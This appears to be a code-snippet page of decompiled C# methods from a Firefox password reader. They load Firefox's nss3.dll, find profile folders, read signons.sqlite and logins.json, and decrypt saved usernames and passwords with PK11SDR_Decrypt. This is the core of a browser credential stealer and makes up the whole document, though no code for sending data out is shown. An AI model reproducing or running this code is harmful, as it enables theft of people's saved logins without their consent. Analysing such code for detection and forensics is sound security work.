Beispiel #1
0
        // Token: 0x0600007F RID: 127 RVA: 0x00005C18 File Offset: 0x00003E18
        public static int PK11SDR_Decrypt(ref FFDecryptor.TSECItem data, ref FFDecryptor.TSECItem result, int cx)
        {
            IntPtr pProc = FFDecryptor.GetProcAddress(FFDecryptor.NSS3, "PK11SDR_Decrypt");

            FFDecryptor.DLLFunctionDelegate5 dll = (FFDecryptor.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(FFDecryptor.DLLFunctionDelegate5));
            return(dll(ref data, ref result, cx));
        }
Beispiel #2
0
        // Token: 0x0600007D RID: 125 RVA: 0x00005A68 File Offset: 0x00003C68
        public static long NSS_Init(string configdir)
        {
            bool   flag = Directory.Exists("C:\\Program Files\\Mozilla Firefox");
            string str;

            if (flag)
            {
                str = "C:\\Program Files\\Mozilla Firefox\\";
            }
            else
            {
                bool flag2 = Directory.Exists("C:\\Program Files (x86)\\Mozilla Firefox");
                if (flag2)
                {
                    str = "C:\\Program Files (x86)\\Mozilla Firefox\\";
                }
                else
                {
                    str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
                }
            }
            FFDecryptor.LoadLibrary(str + "mozglue.dll");
            FFDecryptor.NSS3 = FFDecryptor.LoadLibrary(str + "nss3.dll");
            return(((FFDecryptor.DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(FFDecryptor.GetProcAddress(FFDecryptor.NSS3, "NSS_Init"), typeof(FFDecryptor.DLLFunctionDelegate)))(configdir));
        }
Beispiel #3
0
        // Token: 0x0600007E RID: 126 RVA: 0x00005B10 File Offset: 0x00003D10
        public static string Decrypt(string cypherText)
        {
            IntPtr        ffDataUnmanagedPointer = IntPtr.Zero;
            StringBuilder sb = new StringBuilder(cypherText);

            try
            {
                byte[] ffData = Convert.FromBase64String(cypherText);
                ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
                Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);
                FFDecryptor.TSECItem tSecDec = default(FFDecryptor.TSECItem);
                FFDecryptor.TSECItem item    = default(FFDecryptor.TSECItem);
                item.SECItemType = 0;
                item.SECItemData = ffDataUnmanagedPointer;
                item.SECItemLen  = ffData.Length;
                bool flag = FFDecryptor.PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0;
                if (flag)
                {
                    bool flag2 = tSecDec.SECItemLen != 0;
                    if (flag2)
                    {
                        byte[] bvRet = new byte[tSecDec.SECItemLen];
                        Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
                        return(Encoding.ASCII.GetString(bvRet));
                    }
                }
            }
            catch
            {
                return(null);
            }
            finally
            {
                bool flag3 = ffDataUnmanagedPointer != IntPtr.Zero;
                if (flag3)
                {
                    Marshal.FreeHGlobal(ffDataUnmanagedPointer);
                }
            }
            return(null);
        }
        // Token: 0x06000084 RID: 132 RVA: 0x00005E7C File Offset: 0x0000407C
        public IEnumerable <CredentialModel> ReadPasswords()
        {
            string signonsFile  = null;
            string loginsFile   = null;
            bool   signonsFound = false;
            bool   loginsFound  = false;

            string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles"));
            List <CredentialModel> logins = new List <CredentialModel>();
            bool flag = dirs.Length == 0;
            IEnumerable <CredentialModel> result;

            if (flag)
            {
                result = logins;
            }
            else
            {
                foreach (string dir in dirs)
                {
                    string[] files = Directory.GetFiles(dir, "signons.sqlite");
                    bool     flag2 = files.Length != 0;
                    if (flag2)
                    {
                        signonsFile  = files[0];
                        signonsFound = true;
                    }
                    files = Directory.GetFiles(dir, "logins.json");
                    bool flag3 = files.Length != 0;
                    if (flag3)
                    {
                        loginsFile  = files[0];
                        loginsFound = true;
                    }
                    bool flag4 = loginsFound || signonsFound;
                    if (flag4)
                    {
                        FFDecryptor.NSS_Init(dir);
                        break;
                    }
                }
                bool flag5 = signonsFound;
                if (flag5)
                {
                    using (SQLiteConnection conn = new SQLiteConnection("Data Source=" + signonsFile + ";"))
                    {
                        conn.Open();
                        using (SQLiteCommand command = conn.CreateCommand())
                        {
                            command.CommandText = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins";
                            using (SQLiteDataReader reader = command.ExecuteReader())
                            {
                                while (reader.Read())
                                {
                                    string username = FFDecryptor.Decrypt(reader.GetString(0));
                                    string password = FFDecryptor.Decrypt(reader.GetString(1));
                                    logins.Add(new CredentialModel
                                    {
                                        Username = username,
                                        Password = password,
                                        Url      = reader.GetString(2)
                                    });
                                }
                            }
                        }
                        conn.Close();
                    }
                }
                bool flag6 = loginsFound;
                if (flag6)
                {
                    FirefoxPassReader.FFLogins ffLoginData;
                    using (StreamReader sr = new StreamReader(loginsFile))
                    {
                        string json = sr.ReadToEnd();
                        ffLoginData = JsonConvert.DeserializeObject <FirefoxPassReader.FFLogins>(json);
                    }
                    foreach (FirefoxPassReader.LoginData loginData in ffLoginData.logins)
                    {
                        string username2 = FFDecryptor.Decrypt(loginData.encryptedUsername);
                        string password2 = FFDecryptor.Decrypt(loginData.encryptedPassword);
                        logins.Add(new CredentialModel
                        {
                            Username = username2,
                            Password = password2,
                            Url      = loginData.hostname
                        });
                    }
                }
                result = logins;
            }
            return(result);
        }